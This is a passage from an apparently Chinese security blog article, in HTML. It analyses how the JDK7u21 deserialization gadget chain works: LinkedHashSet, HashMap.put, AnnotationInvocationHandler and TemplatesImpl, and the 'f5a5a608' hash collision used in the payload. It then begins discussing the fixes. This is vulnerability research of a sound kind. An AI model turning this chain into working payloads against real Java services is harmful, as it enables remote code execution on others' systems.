53, 2);background-color: rgb(248, 245, 236);">org.jboss.interceptor.proxy.InterceptorMethodHandler</code><span md-inline="plain" style="box-sizing: border-box;">  （ JBossInterceptors1 、 JavassistWeld1 ）</span></span></p></li><li style="box-sizing: border-box;color: rgb(219, 77, 82);font-weight: bold;"><p cid="n383" mdtype="paragraph" style="box-sizing: border-box;line-height: 1.8rem;orphans: 4;margin-bottom: 0.5rem;white-space: pre-wrap;word-spacing: 0.05rem;color: rgb(51, 51, 51);font-weight: normal;padding-left: 0.25rem;"><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;Roboto Mono&#34;, &#34;Source Sans Pro&#34;, &#34;Microsoft YaHei&#34;, 微软雅黑 !important;text-align: left;padding: 2px 4px;border-top-left-radius: 2px;border-top-right-radius: 2px;border-bottom-right-radius: 2px;border-bottom-left-radius: 2px;font-size: 0.92rem;color: rgb(255, 53, 2);background-color: rgb(248, 245, 236);">org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider</code><span md-inline="plain" style="box-sizing: border-box;">  （ Spring1 、 Spring2 ）</span></span></p></li></ul><p cid="n384" mdtype="paragraph" style="box-sizing: border-box;line-height: 1.8rem;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;word-spacing: 0.05rem;color: var(--mid-13);"><span md-inline="plain" style="box-sizing: border-box;">这些反序列化载体中大多数是通过对元素进行一些操作，然后触发了后续链的调用。</span></p><p cid="n385" mdtype="paragraph" style="box-sizing: border-box;line-height: 1.8rem;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;word-spacing: 0.05rem;color: var(--mid-13);"><span md-inline="plain" style="box-sizing: border-box;">实际上我猜测</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;Roboto Mono&#34;, &#34;Source Sans Pro&#34;, &#34;Microsoft YaHei&#34;, 微软雅黑 !important;text-align: left;padding: 2px 4px;border-top-left-radius: 2px;border-top-right-radius: 2px;border-bottom-right-radius: 2px;border-bottom-left-radius: 2px;font-size: 0.92rem;color: rgb(255, 53, 2);background-color: rgb(248, 245, 236);">jdk7u21</code><span md-inline="plain" style="box-sizing: border-box;">的作者</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;Roboto Mono&#34;, &#34;Source Sans Pro&#34;, &#34;Microsoft YaHei&#34;, 微软雅黑 !important;text-align: left;padding: 2px 4px;border-top-left-radius: 2px;border-top-right-radius: 2px;border-bottom-right-radius: 2px;border-bottom-left-radius: 2px;font-size: 0.92rem;color: rgb(255, 53, 2);background-color: rgb(248, 245, 236);">frohoff</code><span md-inline="plain" style="box-sizing: border-box;">可能也是通过这样的思考最终找到了</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;Roboto Mono&#34;, &#34;Source Sans Pro&#34;, &#34;Microsoft YaHei&#34;, 微软雅黑 !important;text-align: left;padding: 2px 4px;border-top-left-radius: 2px;border-top-right-radius: 2px;border-bottom-right-radius: 2px;border-bottom-left-radius: 2px;font-size: 0.92rem;color: rgb(255, 53, 2);background-color: rgb(248, 245, 236);">LinkedHashSet</code><span md-inline="plain" style="box-sizing: border-box;">类。</span></span></span></span></p><p cid="n386" mdtype="paragraph" style="box-sizing: border-box;line-height: 1.8rem;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;word-spacing: 0.05rem;color: var(--mid-13);"><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;Roboto Mono&#34;, &#34;Source Sans Pro&#34;, &#34;Microsoft YaHei&#34;, 微软雅黑 !important;text-align: left;padding: 2px 4px;border-top-left-radius: 2px;border-top-right-radius: 2px;border-bottom-right-radius: 2px;border-bottom-left-radius: 2px;font-size: 0.92rem;color: rgb(255, 53, 2);background-color: rgb(248, 245, 236);">LinkedHashSet</code><span md-inline="plain" style="box-sizing: border-box;"> 位于 </span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;Roboto Mono&#34;, &#34;Source Sans Pro&#34;, &#34;Microsoft YaHei&#34;, 微软雅黑 !important;text-align: left;padding: 2px 4px;border-top-left-radius: 2px;border-top-right-radius: 2px;border-bottom-right-radius: 2px;border-bottom-left-radius: 2px;font-size: 0.92rem;color: rgb(255, 53, 2);background-color: rgb(248, 245, 236);">java.util</code><span md-inline="plain" style="box-sizing: border-box;"> 包内，是</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;Roboto Mono&#34;, &#34;Source Sans Pro&#34;, &#34;Microsoft YaHei&#34;, 微软雅黑 !important;text-align: left;padding: 2px 4px;border-top-left-radius: 2px;border-top-right-radius: 2px;border-bottom-right-radius: 2px;border-bottom-left-radius: 2px;font-size: 0.92rem;color: rgb(255, 53, 2);background-color: rgb(248, 245, 236);">HashSet</code><span md-inline="plain" style="box-sizing: border-box;">的子类，向其添加到 set 的元素会保持有序状态，并且在</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;Roboto Mono&#34;, &#34;Source Sans Pro&#34;, &#34;Microsoft YaHei&#34;, 微软雅黑 !important;text-align: left;padding: 2px 4px;border-top-left-radius: 2px;border-top-right-radius: 2px;border-bottom-right-radius: 2px;border-bottom-left-radius: 2px;font-size: 0.92rem;color: rgb(255, 53, 2);background-color: rgb(248, 245, 236);">LinkedHashSet.readObject()</code><span md-inline="plain" style="box-sizing: border-box;">的方法中，当各元素被放进</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;Roboto Mono&#34;, &#34;Source Sans Pro&#34;, &#34;Microsoft YaHei&#34;, 微软雅黑 !important;text-align: left;padding: 2px 4px;border-top-left-radius: 2px;border-top-right-radius: 2px;border-bottom-right-radius: 2px;border-bottom-left-radius: 2px;font-size: 0.92rem;color: rgb(255, 53, 2);background-color: rgb(248, 245, 236);">HashMap</code><span md-inline="plain" style="box-sizing: border-box;">时，第二个元素会调用</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;Roboto Mono&#34;, &#34;Source Sans Pro&#34;, &#34;Microsoft YaHei&#34;, 微软雅黑 !important;text-align: left;padding: 2px 4px;border-top-left-radius: 2px;border-top-right-radius: 2px;border-bottom-right-radius: 2px;border-bottom-left-radius: 2px;font-size: 0.92rem;color: rgb(255, 53, 2);background-color: rgb(248, 245, 236);">equals()</code><span md-inline="plain" style="box-sizing: border-box;">与第一个元素进行比较——这样一来恰好就满足了我们上面所说的两个条件。</span></span></span></span></span></span></span></p><p cid="n387" mdtype="paragraph" style="box-sizing: border-box;line-height: 1.8rem;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;word-spacing: 0.05rem;color: var(--mid-13);"><span md-inline="plain" style="box-sizing: border-box;">所以在这里我们只要反序列化过程中让</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;Roboto Mono&#34;, &#34;Source Sans Pro&#34;, &#34;Microsoft YaHei&#34;, 微软雅黑 !important;text-align: left;padding: 2px 4px;border-top-left-radius: 2px;border-top-right-radius: 2px;border-bottom-right-radius: 2px;border-bottom-left-radius: 2px;font-size: 0.92rem;color: rgb(255, 53, 2);background-color: rgb(248, 245, 236);">Pproxy Object</code><span md-inline="plain" style="box-sizing: border-box;"> 先添加，然后再添加包含恶意代码的实例，就会变成，</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;Roboto Mono&#34;, &#34;Source Sans Pro&#34;, &#34;Microsoft YaHei&#34;, 微软雅黑 !important;text-align: left;padding: 2px 4px;border-top-left-radius: 2px;border-top-right-radius: 2px;border-bottom-right-radius: 2px;border-bottom-left-radius: 2px;font-size: 0.92rem;color: rgb(255, 53, 2);background-color: rgb(248, 245, 236);">Proxy.equals(EvilTemplates.class)</code><span md-inline="plain" style="box-sizing: border-box;">，它被代理给</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;Roboto Mono&#34;, &#34;Source Sans Pro&#34;, &#34;Microsoft YaHei&#34;, 微软雅黑 !important;text-align: left;padding: 2px 4px;border-top-left-radius: 2px;border-top-right-radius: 2px;border-bottom-right-radius: 2px;border-bottom-left-radius: 2px;font-size: 0.92rem;color: rgb(255, 53, 2);background-color: rgb(248, 245, 236);">AnnotationInvocationHandler</code><span md-inline="plain" style="box-sizing: border-box;">类，并且进入</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;Roboto Mono&#34;, &#34;Source Sans Pro&#34;, &#34;Microsoft YaHei&#34;, 微软雅黑 !important;text-align: left;padding: 2px 4px;border-top-left-radius: 2px;border-top-right-radius: 2px;border-bottom-right-radius: 2px;border-bottom-left-radius: 2px;font-size: 0.92rem;color: rgb(255, 53, 2);background-color: rgb(248, 245, 236);">equalsImpl()</code><span md-inline="plain" style="box-sizing: border-box;">方法，在</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;Roboto Mono&#34;, &#34;Source Sans Pro&#34;, &#34;Microsoft YaHei&#34;, 微软雅黑 !important;text-align: left;padding: 2px 4px;border-top-left-radius: 2px;border-top-right-radius: 2px;border-bottom-right-radius: 2px;border-bottom-left-radius: 2px;font-size: 0.92rem;color: rgb(255, 53, 2);background-color: rgb(248, 245, 236);">getMemberMethods()</code><span md-inline="plain" style="box-sizing: border-box;">遍历</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;Roboto Mono&#34;, &#34;Source Sans Pro&#34;, &#34;Microsoft YaHei&#34;, 微软雅黑 !important;text-align: left;padding: 2px 4px;border-top-left-radius: 2px;border-top-right-radius: 2px;border-bottom-right-radius: 2px;border-bottom-left-radius: 2px;font-size: 0.92rem;color: rgb(255, 53, 2);background-color: rgb(248, 245, 236);">TemplatesImpl</code><span md-inline="plain" style="box-sizing: border-box;">的方法遇到</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;Roboto Mono&#34;, &#34;Source Sans Pro&#34;, &#34;Microsoft YaHei&#34;, 微软雅黑 !important;text-align: left;padding: 2px 4px;border-top-left-radius: 2px;border-top-right-radius: 2px;border-bottom-right-radius: 2px;border-bottom-left-radius: 2px;font-size: 0.92rem;color: rgb(255, 53, 2);background-color: rgb(248, 245, 236);">getOutputProperties</code><span md-inline="plain" style="box-sizing: border-box;">进行调用时，导致命令执行，从而完美的实现了整个攻击链。</span></span></span></span></span></span></span></span></p><p cid="n388" mdtype="paragraph" style="box-sizing: border-box;line-height: 1.8rem;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;word-spacing: 0.05rem;color: var(--mid-13);"><span md-inline="plain" style="box-sizing: border-box;">到这里其实整个漏洞就分析完了，但是在</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;Roboto Mono&#34;, &#34;Source Sans Pro&#34;, &#34;Microsoft YaHei&#34;, 微软雅黑 !important;text-align: left;padding: 2px 4px;border-top-left-radius: 2px;border-top-right-radius: 2px;border-bottom-right-radius: 2px;border-bottom-left-radius: 2px;font-size: 0.92rem;color: rgb(255, 53, 2);background-color: rgb(248, 245, 236);">LinkedHashSet</code><span md-inline="plain" style="box-sizing: border-box;">链中还有一个有意思的地方。</span></span></p><p cid="n389" mdtype="paragraph" style="box-sizing: border-box;line-height: 1.8rem;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;word-spacing: 0.05rem;color: var(--mid-13);"><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;Roboto Mono&#34;, &#34;Source Sans Pro&#34;, &#34;Microsoft YaHei&#34;, 微软雅黑 !important;text-align: left;padding: 2px 4px;border-top-left-radius: 2px;border-top-right-radius: 2px;border-bottom-right-radius: 2px;border-bottom-left-radius: 2px;font-size: 0.92rem;color: rgb(255, 53, 2);background-color: rgb(248, 245, 236);">LinkedHashSet --&gt; HashSet --&gt; HashSet.readObject() --&gt; HashMap.put()</code></span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="cs"><code><span class="code-snippet_outer"><span class="code-snippet__comment">// 将指定值与此映射中的指定键相关联</span></span></code><code><span class="code-snippet_outer">  <span class="code-snippet__function"><span class="code-snippet__keyword">public</span> V <span class="code-snippet__title">put</span>(<span class="code-snippet__params">K key, V <span class="code-snippet__keyword">value</span></span>)</span> {</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">if</span> (key == <span class="code-snippet__literal">null</span>)</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">return</span> putForNullKey(<span class="code-snippet__keyword">value</span>);</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">int</span> hash = hash(key.hashCode());</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">int</span> i = indexFor(hash, table.length);</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">for</span> (Entry&lt;K,V&gt; e = table[i]; e != <span class="code-snippet__literal">null</span>; e = e.next) {</span></code><code><span class="code-snippet_outer">            Object k;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">// 关键点</span></span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">if</span> (e.hash == hash &amp;&amp; ((k = e.key) == key || key.<span class="code-snippet__keyword">equals</span>(k))) {</span></code><code><span class="code-snippet_outer">                V oldValue = e.<span class="code-snippet__keyword">value</span>;</span></code><code><span class="code-snippet_outer">                e.<span class="code-snippet__keyword">value</span> = <span class="code-snippet__keyword">value</span>;</span></code><code><span class="code-snippet_outer">                e.recordAccess(<span class="code-snippet__keyword">this</span>);</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">return</span> oldValue;</span></code><code><span class="code-snippet_outer">            }</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer">        modCount++;</span></code><code><span class="code-snippet_outer">        addEntry(hash, key, <span class="code-snippet__keyword">value</span>, i);</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">return</span> <span class="code-snippet__literal">null</span>;</span></code><code><span class="code-snippet_outer">    }</span></code></pre></section><p cid="n362" mdtype="paragraph" style="box-sizing: border-box;line-height: 1.8rem;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;word-spacing: 0.05rem;color: var(--mid-13);"><span md-inline="plain" style="box-sizing: border-box;">在</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;Roboto Mono&#34;, &#34;Source Sans Pro&#34;, &#34;Microsoft YaHei&#34;, 微软雅黑 !important;text-align: left;padding: 2px 4px;border-top-left-radius: 2px;border-top-right-radius: 2px;border-bottom-right-radius: 2px;border-bottom-left-radius: 2px;font-size: 0.92rem;color: rgb(255, 53, 2);background-color: rgb(248, 245, 236);">put</code><span md-inline="plain" style="box-sizing: border-box;">方法里，有一个条件：</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;Roboto Mono&#34;, &#34;Source Sans Pro&#34;, &#34;Microsoft YaHei&#34;, 微软雅黑 !important;text-align: left;padding: 2px 4px;border-top-left-radius: 2px;border-top-right-radius: 2px;border-bottom-right-radius: 2px;border-bottom-left-radius: 2px;font-size: 0.92rem;color: rgb(255, 53, 2);background-color: rgb(248, 245, 236);">if (e.hash == hash &amp;&amp; ((k = e.key) == key || key.equals(k)))</code></span></span></p><p cid="n362" mdtype="paragraph" style="box-sizing: border-box;line-height: 1.8rem;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;word-spacing: 0.05rem;color: var(--mid-13);"><span md-inline="plain" style="box-sizing: border-box;">如果想要走到</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;Roboto Mono&#34;, &#34;Source Sans Pro&#34;, &#34;Microsoft YaHei&#34;, 微软雅黑 !important;text-align: left;padding: 2px 4px;border-top-left-radius: 2px;border-top-right-radius: 2px;border-bottom-right-radius: 2px;border-bottom-left-radius: 2px;font-size: 0.92rem;color: rgb(255, 53, 2);background-color: rgb(248, 245, 236);">key.equals(k)</code><span md-inline="plain" style="box-sizing: border-box;">就必须满足</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;Roboto Mono&#34;, &#34;Source Sans Pro&#34;, &#34;Microsoft YaHei&#34;, 微软雅黑 !important;text-align: left;padding: 2px 4px;border-top-left-radius: 2px;border-top-right-radius: 2px;border-bottom-right-radius: 2px;border-bottom-left-radius: 2px;font-size: 0.92rem;color: rgb(255, 53, 2);background-color: rgb(248, 245, 236);">e.hash == hash</code><span md-inline="plain" style="box-sizing: border-box;">并且</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;Roboto Mono&#34;, &#34;Source Sans Pro&#34;, &#34;Microsoft YaHei&#34;, 微软雅黑 !important;text-align: left;padding: 2px 4px;border-top-left-radius: 2px;border-top-right-radius: 2px;border-bottom-right-radius: 2px;border-bottom-left-radius: 2px;font-size: 0.92rem;color: rgb(255, 53, 2);background-color: rgb(248, 245, 236);">k!=e.key</code><span md-inline="plain" style="box-sizing: border-box;">。</span></span></span></span></p><p cid="n362" mdtype="paragraph" style="box-sizing: border-box;line-height: 1.8rem;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;word-spacing: 0.05rem;color: var(--mid-13);"><span md-inline="plain" style="box-sizing: border-box;">对于</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;Roboto Mono&#34;, &#34;Source Sans Pro&#34;, &#34;Microsoft YaHei&#34;, 微软雅黑 !important;text-align: left;padding: 2px 4px;border-top-left-radius: 2px;border-top-right-radius: 2px;border-bottom-right-radius: 2px;border-bottom-left-radius: 2px;font-size: 0.92rem;color: rgb(255, 53, 2);background-color: rgb(248, 245, 236);">k == e.key</code></span><span md-inline="plain" style="box-sizing: border-box;">很好判断，因为</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;Roboto Mono&#34;, &#34;Source Sans Pro&#34;, &#34;Microsoft YaHei&#34;, 微软雅黑 !important;text-align: left;padding: 2px 4px;border-top-left-radius: 2px;border-top-right-radius: 2px;border-bottom-right-radius: 2px;border-bottom-left-radius: 2px;font-size: 0.92rem;color: rgb(255, 53, 2);background-color: rgb(248, 245, 236);">EvilTemplates newInstance != Proxy Object</code><span md-inline="plain" style="box-sizing: border-box;">，那</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;Roboto Mono&#34;, &#34;Source Sans Pro&#34;, &#34;Microsoft YaHei&#34;, 微软雅黑 !important;text-align: left;padding: 2px 4px;border-top-left-radius: 2px;border-top-right-radius: 2px;border-bottom-right-radius: 2px;border-bottom-left-radius: 2px;font-size: 0.92rem;color: rgb(255, 53, 2);background-color: rgb(248, 245, 236);">e.hash == hash</code><span md-inline="plain" style="box-sizing: border-box;">应该如何判断呢？</span></span></span></p><p cid="n362" mdtype="paragraph" style="box-sizing: border-box;line-height: 1.8rem;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;word-spacing: 0.05rem;color: var(--mid-13);"><span md-inline="plain" style="box-sizing: border-box;">实际上看源代码就知道，要让</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;Roboto Mono&#34;, &#34;Source Sans Pro&#34;, &#34;Microsoft YaHei&#34;, 微软雅黑 !important;text-align: left;padding: 2px 4px;border-top-left-radius: 2px;border-top-right-radius: 2px;border-bottom-right-radius: 2px;border-bottom-left-radius: 2px;font-size: 0.92rem;color: rgb(255, 53, 2);background-color: rgb(248, 245, 236);">127 * ((String)var3.getKey()).hashCode()</code><span md-inline="plain" style="box-sizing: border-box;">的结果等于0 ，也就是</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;Roboto Mono&#34;, &#34;Source Sans Pro&#34;, &#34;Microsoft YaHei&#34;, 微软雅黑 !important;text-align: left;padding: 2px 4px;border-top-left-radius: 2px;border-top-right-radius: 2px;border-bottom-right-radius: 2px;border-bottom-left-radius: 2px;font-size: 0.92rem;color: rgb(255, 53, 2);background-color: rgb(248, 245, 236);">(String)var3.getKey()).hashCode()</code><span md-inline="plain" style="box-sizing: border-box;">的值要为零，这样才可以满足那个</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;Roboto Mono&#34;, &#34;Source Sans Pro&#34;, &#34;Microsoft YaHei&#34;, 微软雅黑 !important;text-align: left;padding: 2px 4px;border-top-left-radius: 2px;border-top-right-radius: 2px;border-bottom-right-radius: 2px;border-bottom-left-radius: 2px;font-size: 0.92rem;color: rgb(255, 53, 2);background-color: rgb(248, 245, 236);">if</code><span md-inline="plain" style="box-sizing: border-box;">判断。</span></span></span></span></p><p cid="n395" mdtype="paragraph" style="box-sizing: border-box;line-height: 1.8rem;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;word-spacing: 0.05rem;color: rgb(0, 0, 0);caret-color: rgb(0, 0, 0);font-family: Vollkorn, Palatino, Times;text-align: start;background-color: rgb(255, 255, 255);"><span md-inline="plain" style="box-sizing: border-box;">这里利用的其实就是hash碰撞。</span></p><p cid="n362" mdtype="paragraph" style="box-sizing: border-box;line-height: 1.8rem;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;word-spacing: 0.05rem;color: var(--mid-13);"><span md-inline="plain" style="box-sizing: border-box;">经过碰撞我们得到了碰撞的第一个结果</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;Roboto Mono&#34;, &#34;Source Sans Pro&#34;, &#34;Microsoft YaHei&#34;, 微软雅黑 !important;text-align: left;padding: 2px 4px;border-top-left-radius: 2px;border-top-right-radius: 2px;border-bottom-right-radius: 2px;border-bottom-left-radius: 2px;font-size: 0.92rem;color: rgb(255, 53, 2);background-color: rgb(248, 245, 236);">f5a5a608</code><span md-inline="plain" style="box-sizing: border-box;">，也就是 payload 中的</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;Roboto Mono&#34;, &#34;Source Sans Pro&#34;, &#34;Microsoft YaHei&#34;, 微软雅黑 !important;text-align: left;padding: 2px 4px;border-top-left-radius: 2px;border-top-right-radius: 2px;border-bottom-right-radius: 2px;border-bottom-left-radius: 2px;font-size: 0.92rem;color: rgb(255, 53, 2);background-color: rgb(248, 245, 236);">map.put(&#39;f5a5a608&#39;, templates);</code><span md-inline="plain" style="box-sizing: border-box;">这样写的原因。</span></span></span></p><p cid="n397" mdtype="paragraph" style="box-sizing: border-box;line-height: 1.8rem;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;word-spacing: 0.05rem;color: rgb(0, 0, 0);caret-color: rgb(0, 0, 0);font-family: Vollkorn, Palatino, Times;text-align: start;background-color: rgb(255, 255, 255);"><span md-inline="plain" style="box-sizing: border-box;">整个流程可以总结成如下的思维导图：</span></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="1.79453125" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=18946189&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmrMNWEsAho9reubiaSov559DS5LckiaXls9FibY9TuxHuiaAxQHuPaZm40IOribJMUTYbn2f2NT7S2hv1A%2F640%3Fwx_fmt%3Dpng"/></p><h2 cid="n399" mdtype="heading" style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.3rem;margin-top: 1rem;margin-bottom: 1rem;white-space: pre-wrap;border-bottom-width: 2px;border-bottom-style: solid;border-bottom-color: rgb(239, 112, 96);"><span md-inline="plain" style="box-sizing: border-box;display: inline-block;font-weight: bold;background-color: rgb(239, 112, 96);color: rgb(255, 255, 255);padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;background-position: initial initial;background-repeat: initial initial;">0x06 漏洞修复</span></h2><p cid="n400" mdtype="paragraph" style="box-sizing: border-box;line-height: 1.8rem;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;word-spacing: 0.05rem;color: var(--mid-13);"><span md-inline="plain" style="box-sizing: border-box;">互联网上对于</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;Roboto Mono&#34;, &#34;Source Sans Pro&#34;, &#34;Microsoft YaHei&#34;, 微软雅黑 !important;text-align: left;padding: 2px 4px;border-top-left-radius: 2px;border-top-right-radius: 2px;border-bottom-right-radius: 2px;border-bottom-left-radius: 2px;font-size: 0.92rem;color: rgb(255, 53, 2);background-color: rgb(248, 245, 236);">jdk7u21</code><span md-inline="plain" style="box-sizing: border-box;">原生gadget链修复方式有两种讨论。</span></span></p><p cid="n401" mdtype="paragraph" style="box-sizing: border-box;line-height: 1.8rem;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;word-spacing: 0.05rem;color: var(--mid-13);"><span md-inline="strong" style="box-sizing: border-box;"><strong style="box-sizing: border-box;padding: 0.1em;color: rgb(220, 53, 69);"><span md-inline="plain" style="box-sizing: border-box;">第一种：</span></strong></span></p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.7110311750599521" data-s="300,640" style="" data-type="png" data-w="1668" src="https://wechat2rss.xlab.app/img-proxy/?k=dc8c2ef9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmrMNWEsAho9reubiaSov559DFNVvkibEL0f2IibZ3ic1AucpF6xZTiaMawQQ6vPnd9PicIbt3Lamu9hpxhg%2F640%3Fwx_fmt%3Dpng"/></p><p cid="n362" mdtype="paragraph" style="box-sizing: border-box;line-height: 1.8rem;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;word-spacing: 0.05rem;color: var(--mid-13);"><strong style="box-sizing: border-box;padding: 0.1em;color: rgb(220, 53, 69);font-family: Vollkorn, Palatino, Times;orphans: 4;text-align: start;white-space: pre-wrap;word-spacing: 0.85px;text-size-adjust: auto;"><span md-inline="plain" style="box-sizing: border-box;">第二种：</span></strong></p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="1.0741258741258741" data-s="300,640" style="" data-type="png" data-w="1430" src="https://wechat2rss.xlab.app/img-proxy/?k=e74c4e43&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmrMNWEsAho9reubiaSov559DqRUQbWBYDwtWcZvxuUTpYYssOrABEfOloe2wgZCUTNjNQD6OOIbiaYw%2F640%3Fwx_fmt%3Dpng"/></p><p cid="n362" mdtype="paragraph" style="box-sizing: border-box;line-height: 1.8rem;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;word-spacing: 0.05rem;color: var(--mid-13);"><br/></p><p cid="n405" mdtype="paragraph" style="box-sizing: border-box;line-height: 1.8rem;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;word-spacing: 0.05rem;color: var(--mid-13);"><span md-inline="plain" style="box-sizing: border-box;">实际上经过我的测试发现，其实这两种说法都没有问题。</span></p><p cid="n406" mdtype="paragraph" style="box-sizing: border-box;line-height: 1.8rem;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;word-spacing: 0.05rem;color: var(--mid-13);"><span md-inline="plain" style="box-sizing: border-box;">首先来看存在漏洞的最后一个版本（</span><span md-inline="code" spellcheck="false" 